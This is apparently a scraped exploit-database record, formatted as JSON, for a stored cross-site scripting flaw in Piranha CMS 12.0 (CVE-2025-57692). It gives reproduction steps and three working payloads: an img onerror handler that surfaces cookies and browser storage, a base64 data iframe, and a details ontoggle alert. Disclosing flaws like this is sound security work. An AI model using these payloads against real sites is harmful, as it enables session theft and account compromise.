{“lastseen”:”2026-02-05T20:43:24″,”description”:”Piranha CMS version 12.0 suffers from a cross site scripting vulnerability…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Piranha CMS 12.0 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:215044″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-57692″],”sourceData”:”# Exploit Title: Piranha CMS 12.0 – Stored Cross Site Scripting \\n # Date: 2025-09-26\\n # Exploit Author: Chidubem Chukwu (Terminal Venom)\\n # LinkedIn : https:\/\/www.linkedin.com\/in\/chidubem-chukwu-20bb202a9?\\n # Vendor Homepage: https:\/\/piranhacms.org\\n # Software Link: https:\/\/github.com\/PiranhaCMS\/piranha.core\/releases\/tag\/v12.0\\n # Version: 12.0\\n # Category: Web Application\\n # Tested on: Ubuntu 22.04, Piranha CMS v12.0 (local), Chrome \\n # CVE: CVE-2025-57692\\n # Privilege Level: authenticated user\\n # Patched Version: Not available\\n # Exploit link: https:\/\/github.com\/Saconyfx\/security-advisories\/blob\/main\/CVE-2025-57692\/advisory.md\\n \\n \\n \\n \\n ## Reproduction Steps ##\\n \\n PiranhaCMS 12.0 allows stored XSS in the Text content block of Standard and Standard Archive Pages via \/manager\/pages, enabling execution of arbitrary JavaScript in another user s browser.\\n \\n Reproduction steps \\n \\n \\t1.\\tLog in to the Piranha admin panel at https:\/\/\\u003chost\\u003e\/manager\/login.\\n \\n \\t2.\\tNavigate to Pages.\\n \\n \\t3.\\tClick Add Page and choose Standard Page or Standard Archive.\\n \\n \\t4.\\tEnter a page title (e.g., XSS-Test).\\n \\n \\t5.\\tClick the [ + ] button and select Text under Content to add a Text block.\\n \\n \\t6.\\tIn the Text block input area, paste one of the payloads below (paste directly into the editor and save). The payload will execute immediately when pasted\/saved and will also execute for anyone who later accesses or previews the page.\\n \\n Payload A \\n \\n \\u003cimg src=\\”x\\” onerror=\\”\\n alert(\\n ‘Cookies: ‘ + document.cookie + ‘\\\\n’ +\\n ‘LocalStorage: ‘ + JSON.stringify(localStorage) + ‘\\\\n’ +\\n ‘SessionStorage: ‘ + JSON.stringify(sessionStorage) + ‘\\\\n’ +\\n ‘URL: ‘ + window.location.href + ‘\\\\n’ +\\n ‘User Agent: ‘ + navigator.userAgent + ‘\\\\n’ +\\n ‘Time: ‘ + new Date().toLocaleString()\\n )\\n \\” \/\\u003e\\n \\n Payload B \u2014 iframe base64 \\n \\n \\u003ciframe src=\\”data:text\/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\”\\u003e\\u003c\/iframe\\u003e\\n \\n Payload C \u2014 details toggle (on-toggle alert)\\n \\n \\u003cdetails open ontoggle=alert(‘XSS’)\\u003eClick\\u003c\/details\\u003e\\n \\n \\t7.\\tClick Save. The payload executes immediately upon save (and will execute again when the page is previewed or accessed by others).\\n \\n \\t8.\\tAnyone who accesses the page (or pastes the payload) will trigger the XSS.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215044″,”cvss”:{“score”:6.8,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:H\/I:L\/A:L”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215044\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-05T20:43:24″,”description”:”Piranha CMS version 12.0 suffers from a cross site scripting vulnerability…”,”published”:”2026-02-05T00:00:00″,”modified”:”2026-02-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Piranha CMS 12.0 Cross Site Scripting”,”source”:””,”references”:””,”id”:”PACKETSTORM:215044″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-57692″],”sourceData”:”# Exploit Title: Piranha CMS 12.0 – Stored Cross…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,25,12,21,13,53,7,11,5],"class_list":["post-39286","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-68","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n